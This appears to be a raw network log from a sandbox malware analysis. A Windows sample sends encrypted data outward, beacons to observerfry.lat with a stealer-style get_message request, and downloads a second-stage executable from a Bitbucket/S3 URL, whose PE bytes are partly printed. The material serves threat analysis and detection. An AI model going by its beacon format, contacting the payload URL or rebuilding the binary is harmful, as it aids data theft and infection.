f7 1d 12 2e d5 3f 14 f9 90 82 c6 ad f4 3a c9 69 c4 19 49 08 ec ef 6a ee cf 3f 19 d2 fb 2f f7 99 7e 4a b1 b1 Data Ascii: A2)A>,izUYglOZPbHjZyKk-dH5_$i$s(6U[j1!<.,q<&tG",h8lJUJ4g<Y&bzf1dum_?F.KJRr1Rv Z(.?:iIj?/~J
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 07 28 f9 48 0f 78 d4 84 d0 51 43 92 9e ce 26 66 58 4b f9 63 31 db 83 91 b4 5f a9 ec 0f bb 6d 88 b5 7a 21 1e fa c1 53 b1 b1 91 da b1 24 f9 ac 6a e7 a6 16 0b 6f 7d 56 32 7e f9 a1 a6 1b 87 49 29 1f 01 dd 2b 85 17 93 41 e2 25 90 33 a5 d8 ab d4 fa 1d 5d c1 d0 09 4f 5c e7 2a c5 9b cb 12 4a 07 92 3a 93 27 5a 6e 0a 8d 64 ab 76 e9 b1 0a 9b 5d 1b 1f 97 ba f4 9f 21 29 55 30 2a a2 82 63 8a c6 9a 08 5e e9 f5 14 bb 7d c9 34 41 5b d5 78 e0 be 61 4b c9 c2 a0 49 89 3e 2e 81 37 70 69 2f fc fb ef 8c e6 be 11 4a 9d b3 58 b5 c0 e7 70 fe b5 38 3b 07 42 cf 5a f6 9a 73 da b7 43 9a 96 26 5c af a0 a0 1f 17 b4 75 01 bd d8 d9 e8 19 23 ba 98 e3 92 fd bc 10 58 d5 af 91 42 1c fd e2 62 fb d9 b5 53 81 1b 50 82 99 81 7f 35 47 aa b6 bc 99 46 be e1 b3 dd df be 5d 60 f5 4a b2 c0 f2 95 22 6b Data Ascii: (HxQC&fXKc1_mz!S$jo}V2~I)+A%3]O\J:'Zndv]!)U0c^}4A[xaKI>.7pi/JXp8;BZsC&\u#XBbSP5GF]`J"k
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 24 64 60 ab c2 b0 7b 75 dc 11 c9 de 4b 5f fa a2 4e 36 92 25 e5 be 1c c6 9a 02 ec f2 f5 ed f4 48 a2 1f 9c 4b d2 59 6d 27 43 93 dd 09 33 91 15 b2 d2 82 c7 7b 0c db ae f8 fa b2 67 c1 15 4c 72 38 51 8c a6 60 de d5 12 6c a4 2d 54 d5 71 52 b0 a6 6c ff 96 e5 dd 0f dc ae ac b1 dc 78 6a 80 20 86 cf 6c 16 c6 af d9 05 8c ce 04 cf 6d e4 bd 5a 8a de 06 7b 1f d7 13 80 b0 ad 79 14 a7 34 58 73 d6 db c4 bf 93 c5 33 32 64 45 a8 c5 20 71 a5 ff 6c a1 3f 98 6f a3 d2 f6 71 de 8f 1e f0 cd a7 e4 72 39 df d0 1d d5 28 b7 2e 3c 4b 6b f1 e5 39 fe 2a a8 a0 6a cf c3 25 ba de 48 5f 48 f3 a0 ff 3a 34 f9 01 85 78 d0 e9 5f d3 10 85 23 64 09 8f 04 46 10 f4 d8 09 6f 54 12 b7 49 64 44 88 4a b3 49 2b 3d 5f 5d f8 9f 76 c8 e3 60 ca cb 41 09 1c 56 fb f1 ea 85 3e 68 fa 10 d5 f4 5c 9f 7f c1 bd d4 Data Ascii: $d`{uK_N6%HKYm'C3{gLr8Q`l-TqRlxj lmZ{y4Xs32dE ql?oqr9(.<Kk9*j%H_H:4x_#dFoTIdDJI+=_]v`AV>h\
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: b8 88 f6 9d e3 5d fd be 51 42 47 e9 6c 8e fa 9c 3c b8 92 7c c0 c6 1c 3f a1 25 31 6b 43 6f cd 2f c9 90 77 ac cc 7a 98 30 ee 57 1f 02 52 9e 6a a7 94 61 95 b7 bd e0 1a bc 97 cd 51 87 48 19 91 7e c2 0d f8 23 dd 59 b3 06 e4 f7 c7 b5 1a f5 a4 86 92 c8 a6 b8 c6 5a d3 15 26 0a 83 59 5f 38 b5 be c1 a6 45 f6 ed 22 36 90 74 97 b8 0d b7 44 2a 6a 1f ca d3 27 4f c9 1d a1 24 6e 59 99 0c 17 ae 3f df 2d 02 af f1 11 ff f0 c4 48 94 9b c4 39 90 8a 2e c9 68 f4 ff 7f 43 09 e4 0f 7d c0 38 f0 d8 1f 18 8a ea d7 3d 6f c5 29 52 5e 5e 32 ed 36 9c ce 21 0d 33 b4 0b 3c c5 00 42 87 5b 18 a5 9d d2 f8 6b 4a 48 1a f1 d2 71 e4 d1 95 02 56 b5 f3 fe f1 f4 e1 bd dd 99 f1 b4 8f ab 9b 86 d3 ff bf f4 ab b6 6a 6d 0d 42 04 6e 05 fa 7f a2 73 28 d0 b0 44 6c 01 cb 1e 5c 7f d3 fe 15 93 94 11 67 a6 98 Data Ascii: ]QBGl<\|?%1kCo/wz0WRjaQH~#YZ&Y_8E"6tD*j'O$nY?-H9.hC}8=o)R^^26!3<B[kJHqVjmBns(Dl\g
2024-12-24 07:35:46 UTC	15331	OUT	Data Raw: 7b 86 fa 11 cf 05 bb 7f 24 c9 b6 0f 40 83 2a b3 9d 9f 7e c5 65 5b fd 6e 82 c8 ae 47 f8 51 91 a2 b0 0d 4d 71 b7 aa a3 bd b7 9c 84 70 ae ef 55 9e 36 80 eb 1c fe c5 b1 ab 19 88 ac 4f 7d 5f 37 ee c5 3c be fb 11 8e e9 69 a5 90 50 62 b9 1e b6 38 25 59 35 a5 00 0e bc c0 3c 53 94 8c 2c 2a cc 74 22 9b f3 a3 68 8b e7 dd f7 9b 00 bf 10 1d d4 a3 cb c0 ad 13 e5 71 54 6c fb 71 17 37 63 d9 b6 18 db f8 88 c6 4b 7f dd 69 a7 5e fd ab d5 bf 29 7d 5f 1f fd 0b a7 f8 06 7e 6a 1f 59 1c 04 ea db 44 16 5d 59 fb 19 aa 24 ba 71 3c f7 56 f1 2c e4 71 61 26 b7 09 9b e8 ef 78 d0 b1 c8 72 3d f8 20 3b a7 6f cb 00 c0 b9 aa 00 03 c4 59 ae 51 fa a7 1b 5e 1f 20 ef 89 95 17 39 e4 d5 da cc 39 8c 70 0b 97 b9 65 89 27 b4 09 70 46 fb af 7e fa 41 08 46 9d 30 fc 1c 9c b9 01 ef f7 d8 ad b4 45 d6 de Data Ascii: {$@~e[nGQMqpU6O}_7<iPb8%Y5<S,t"hqTlq7cKi^)}_~jYD]Y$q<V,qa&xr= ;oYQ^ 99pe'pF~AF0E
2024-12-24 07:35:50 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gpuodu97hitiai7cr83riebpdf; expires=Sat, 19 Apr 2025 01:22:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PVQ%2B0z2NoBglan0ZxaVIv09pg4ZpQ4TMMCzwnKjruVBSCSZWUuHfJP26sRK%2FTF%2BOEXVDzYzrkyNkxuLZKEFrHYSwcI%2BiiPStISpcdl8VvIeVvFU%2FPaiz4V5xm21HB1X6V%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eeaa76fc87ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2081&min_rtt=2031&rtt_var=798&sent=325&recv=573&lost=0&retrans=0&sent_bytes=2836&recv_bytes=554744&delivery_rate=1437715&cwnd=238&unsent_bytes=0&cid=211e14227af9b7f1&ts=3718&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49786	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:51 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: observerfry.lat
2024-12-24 07:35:51 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 39 35 32 35 32 30 34 43 35 35 35 43 42 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=E9525204C555CB5EBEBA0C6A975F1733
2024-12-24 07:35:52 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ekems1t110v5vu4kdauqfaevm; expires=Sat, 19 Apr 2025 01:22:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rAGxSwF36k9SQ9XDe1p9tJWUv9c89zikthumvurDWkGLN%2FuxOuA7bijFXVZRValkxFJBCtIICK5%2Fj3HOBPAVtPCjziLR%2FstFeCfdyfBnky8MR1fWVZUiNRT%2FBZegcrGA0yA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eeac6c88defa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1922&rtt_var=737&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=987&delivery_rate=1469552&cwnd=140&unsent_bytes=0&cid=fa44e08d0e0c4788&ts=781&x=0"
2024-12-24 07:35:52 UTC	244	IN	Data Raw: 31 31 30 0d 0a 79 51 64 56 74 72 70 67 44 49 56 79 6e 48 43 62 77 32 43 34 32 75 59 4c 37 61 63 31 32 4f 35 50 6c 63 2f 4c 39 67 49 77 44 6b 65 53 66 48 66 44 6d 46 6f 75 37 51 62 6f 41 4f 6a 35 50 4a 65 47 79 57 6d 45 30 31 65 74 6a 53 54 77 75 2b 57 5a 63 46 64 53 61 4b 52 2b 4f 39 50 4e 46 32 50 33 47 65 38 41 2b 71 41 46 69 65 6a 56 4f 4e 79 56 61 66 65 64 4c 50 75 72 6c 39 6c 6d 58 33 6b 70 70 57 67 30 30 73 6b 38 49 38 4d 64 37 68 33 36 74 78 54 52 74 49 46 49 68 63 5a 48 73 5a 6f 75 39 36 4f 75 32 47 64 49 61 32 58 6c 4a 54 50 43 6d 46 6f 38 71 56 44 35 55 71 48 79 48 5a 53 68 78 48 37 50 6e 52 65 77 6d 6a 76 6c 39 5a 66 5a 58 68 38 2f 66 2f 77 70 5a 34 65 50 54 6a 32 30 51 62 4a 42 72 5a 39 50 31 37 79 41 56 38 4c Data Ascii: 110yQdVtrpgDIVynHCbw2C42uYL7ac12O5Plc/L9gIwDkeSfHfDmFou7QboAOj5PJeGyWmE01etjSTwu+WZcFdSaKR+O9PNF2P3Ge8A+qAFiejVONyVafedLPurl9lmX3kppWg00sk8I8Md7h36txTRtIFIhcZHsZou96Ou2GdIa2XlJTPCmFo8qVD5UqHyHZShxH7PnRewmjvl9ZfZXh8/f/wpZ4ePTj20QbJBrZ9P17yAV8L
2024-12-24 07:35:52 UTC	35	IN	Data Raw: 44 55 4c 37 41 4b 75 32 71 36 64 6f 67 56 6e 70 6c 38 7a 64 35 6c 4e 39 43 4e 72 51 50 77 51 3d 3d 0d 0a Data Ascii: DUL7AKu2q6dogVnpl8zd5lN9CNrQPwQ==
2024-12-24 07:35:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49792	185.166.143.50	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:54 UTC	248	OUT	GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bitbucket.org
2024-12-24 07:35:54 UTC	5937	IN	HTTP/1.1 302 Found Date: Tue, 24 Dec 2024 07:35:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FRO [TRUNCATED] Expires: Tue, 24 Dec 2024 07:35:54 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 092ecc16f627 X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 4288 X-Render-Time: 0.07450628280639648 X-B3-Traceid: 0cffdde6caff4235ab94aa68abb45712 X-B3-Spanid: 90ebde9c9d57fd7c X-Frame-Options: SAMEORIGIN Content-Security-Policy: object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net h [TRUNCATED] X-Usage-Quota-Remaining: 998915.109 X-Usage-Request-Cost: 1107.17 X-Usage-User-Time: 0.031676 X-Usage-System-Time: 0.001539 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 0cffdde6caff4235ab94aa68abb45712 Atl-Request-Id: 0cffdde6-caff-4235-ab94-aa68abb45712 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=189,atl-edge-internal;dur=4,atl-edge-upstream;dur=187,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49800	54.231.128.9	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:56 UTC	1344	OUT	GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2B [TRUNCATED] Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bbuseruploads.s3.amazonaws.com
2024-12-24 07:35:57 UTC	554	IN	HTTP/1.1 200 OK x-amz-id-2: 9Nps5aUFetCiDeBSCmD9Od2xkoausGTOalZQwfaUPjGjFPhlEQouQ+Aa4cfbmr2e2VrwEItmo58= x-amz-request-id: 9SMX3W5NYKD3JFAV Date: Tue, 24 Dec 2024 07:35:57 GMT Last-Modified: Sun, 22 Dec 2024 18:56:57 GMT ETag: "73565a0bcdcb7ff5f9ce005a2530e215" x-amz-server-side-encryption: AES256 x-amz-version-id: 7hbzHT1uhpKzZ7nBtmVCaxIrBpJnNbOS Content-Disposition: attachment; filename="FormattingCharitable.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Content-Length: 1325507 Server: AmazonS3 Connection: close
2024-12-24 07:35:57 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 f0 0b 00 00 42 00 00 af 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8
2024-12-24 07:35:57 UTC	470	IN	Data Raw: 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 c7 45 14 01 00 00 00 c7 45 0c 0f 04 00 00 83 7d 0c 4e b8 13 04 00 00 74 09 39 45 0c 0f 85 dc 00 00 00 8b 7d 14 39 45 0c 74 0d 81 7f 04 08 04 00 00 0f 85 c7 00 00 00 f7 05 08 eb 47 00 00 02 00 00 75 79 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 6b 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 f4 fb ff ff 3b c3 7c 56 8b 55 e8 8b c8 69 c9 20 40 00 00 8d 54 11 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 c2 c4 ff ff a1 08 eb 47 00 33 c9 c1 e8 08 41 f7 d0 23 c1 89 4d 10 89 45 14 c7 45 0c 0f 04 00 00 3b fb 74 3e 81 7f 08 3d fe ff ff 75 0e ff 77 5c 53 68 19 04 00 00 ff 75 fc ff d6 81 7f 08 39 Data Ascii: u{u3}u]EE}Nt9E}9EtGuy9EtMyuk39EQu;\|VUi @Tu@@tyPG3A#MEE;t>=uw\Shu9
2024-12-24 07:35:57 UTC	16384	IN	Data Raw: 07 50 ff 15 30 91 40 00 89 1d 68 1d 44 00 89 1d 6c 1d 44 00 89 1d 10 eb 47 00 81 7d 0c 0f 04 00 00 0f 85 4b 01 00 00 53 53 e8 f4 c3 ff ff 39 5d 10 74 07 6a 08 e8 0d c6 ff ff 39 5d 14 74 3f ff 35 6c 1d 44 00 e8 d1 c4 ff ff 8b f8 57 e8 7e c4 ff ff 33 c0 33 c9 3b fb 7e 0e 8b 55 e4 39 1c 82 74 01 41 40 3b c7 7c f2 53 51 68 4e 01 00 00 ff 75 f8 ff d6 89 7d 14 c7 45 0c 20 04 00 00 53 53 e8 9d c3 ff ff a1 6c 1d 44 00 89 45 e0 a1 c8 ea 47 00 c7 45 c4 30 f0 00 00 89 5d e8 39 1d cc ea 47 00 0f 8e a1 00 00 00 8d 78 08 8b 45 e0 8b 4d e8 8b 04 88 3b c3 74 79 8b 0f 89 45 bc c7 45 b8 08 00 00 00 f7 c1 00 01 00 00 74 13 8d 47 10 c7 45 b8 09 00 00 00 89 45 c8 81 27 ff fe ff ff f6 c1 40 74 05 6a 03 58 eb 0e 8b c1 83 e0 01 40 f6 c1 10 74 03 83 c0 03 ff 75 bc 8b d1 c1 e0 0b Data Ascii: P0@hDlDG}KSS9]tj9]t?5lDW~33;~U9tA@;\|SQhNu}E SSlDEGE0]9GxEM;tyEEtGEE'@tjX@tu
2024-12-24 07:35:57 UTC	1024	IN	Data Raw: 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 65 00 6d 00 70 00 74 00 79 00 00 00 00 00 45 00 78 00 63 00 68 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 3c 00 20 00 25 00 64 00 20 00 65 00 6c 00 65 00 6d 00 65 00 6e 00 74 00 73 00 00 00 52 00 4d 00 44 00 69 00 72 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 3a 00 20 00 25 00 64 00 2c 00 22 00 25 00 73 00 22 00 00 00 44 00 65 00 6c 00 65 00 74 00 65 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 25 00 73 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 77 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 74 00 6f 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 65 00 72 00 72 00 6f 00 72 00 2c 00 20 Data Ascii: : stack emptyExch: stack < %d elementsRMDir: "%s"MessageBox: %d,"%s"Delete: "%s"%sFile: wrote %d to "%s"File: error,
2024-12-24 07:35:57 UTC	16384	IN	Data Raw: 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 2d 00 20 00 61 00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 65 00 78 00 69 00 73 00 74 00 73 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 65 00 72 00 72 00 3d 00 25 00 64 00 29 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 25 00 64 00 29 00 00 00 00 00 53 00 65 00 74 00 46 00 69 00 6c 00 65 00 41 00 74 00 74 00 72 Data Ascii: : can't create "%s" - a file already existsCreateDirectory: can't create "%s" (err=%d)CreateDirectory: "%s" (%d)SetFileAttr
2024-12-24 07:35:57 UTC	1024	IN	Data Raw: 08 ce 07 cd e8 df bf 7f 82 30 a8 57 9f 88 81 3d 7b 87 3d 3d 76 58 69 b7 f9 13 7f db ed 8d 09 ff d1 73 ec 8b 65 98 86 79 fa f2 e6 7a 40 df be 7d 13 00 c6 9f 7d d6 c6 c5 d3 9f bd 88 67 9e 79 a6 55 d8 60 c7 f7 ec d9 33 01 60 5c 47 a6 5b cd 7f e2 89 27 e2 d9 70 26 00 8c b7 95 47 1f 7d f4 b2 e0 c6 c1 45 74 eb f6 70 d4 93 0f 3e 19 33 fc 91 21 b5 53 9e 9a f0 a7 89 3d c7 fd f9 b9 47 fb d5 3d d8 fd c1 98 ae dd ba 46 61 19 36 81 6d 82 8d 5a 6b 24 e8 b0 e9 32 89 07 dc 28 8c e3 f9 71 fc 19 ab c3 26 31 9a 3f 0f f1 32 5e 6c 78 b6 b7 6f df 7e f9 cf 7e f6 b3 79 d0 16 d6 18 9c 2a c0 a9 01 31 01 72 f1 e5 c3 8c 98 00 68 15 34 0b da 65 75 2a 00 5a f7 c3 30 00 fd 37 1c 19 f4 dc ba 7a df 7e 6b ea f7 0d 5c 53 89 1d be 9a 03 0a 41 5a ff 28 18 ab ae 7f 5c 61 89 8b 2c 70 a5 3f ba Data Ascii: 0W={==vXiseyz@}}gyU`3`\G['p&G}Etp>3!S=G=Fa6mZk$2(q&1?2^lxo~~y1rh4euZ07z~k\SAZ(\a,p?
2024-12-24 07:35:57 UTC	1749	IN	Data Raw: db d6 0c 99 2f df b7 6f df ae d0 97 b9 12 64 7d e6 7a e5 7f e5 bf f5 ef 3a b2 dd 82 be af 40 ca 40 ca 05 65 85 f2 43 59 a2 7c d9 20 71 99 2f 27 36 0c c4 86 41 21 e3 6c b2 88 cd 83 e2 bd f7 de 53 98 df 4d d8 64 34 03 c7 d9 0a 36 21 cd 90 7a e1 08 a9 3f 26 66 3d 33 eb a3 59 6f cd 7a 2e 48 1c 98 71 62 62 c6 99 19 87 82 19 af 12 c7 12 df 8a 99 1c f3 af 4c a7 59 d3 67 d0 ac 19 b6 7c f0 ca f4 57 88 8d 0b 21 af e8 4c 9e 3c b9 19 6c 4e 2c 61 93 d2 08 1b 15 e2 1c a5 c6 f1 1b 36 40 6d 5e 9f be 1e 80 f5 58 c1 c6 a6 19 dc 08 52 b0 d9 69 06 e7 4b 4b d8 cc 28 d8 bc 34 83 cd 8b 82 4d 8b 25 6c 62 14 c3 86 0d a3 a1 c3 87 d2 d0 61 43 69 cc 8b a3 69 da f3 93 68 76 5f 2e d3 9e 36 03 30 72 c0 70 1a f2 e2 10 7a e1 c5 17 88 f3 36 b1 99 69 06 9b 17 05 9b 1a 85 7c 67 d3 a2 60 d3 Data Ascii: /od}z:@@eCY\| q/'6A!lSMd46!z?&f=3Yoz.HqbbLYg\|W!L<lN,a6@m^XRiKK(4M%lbaCiihv_.60rpz6i\|g`
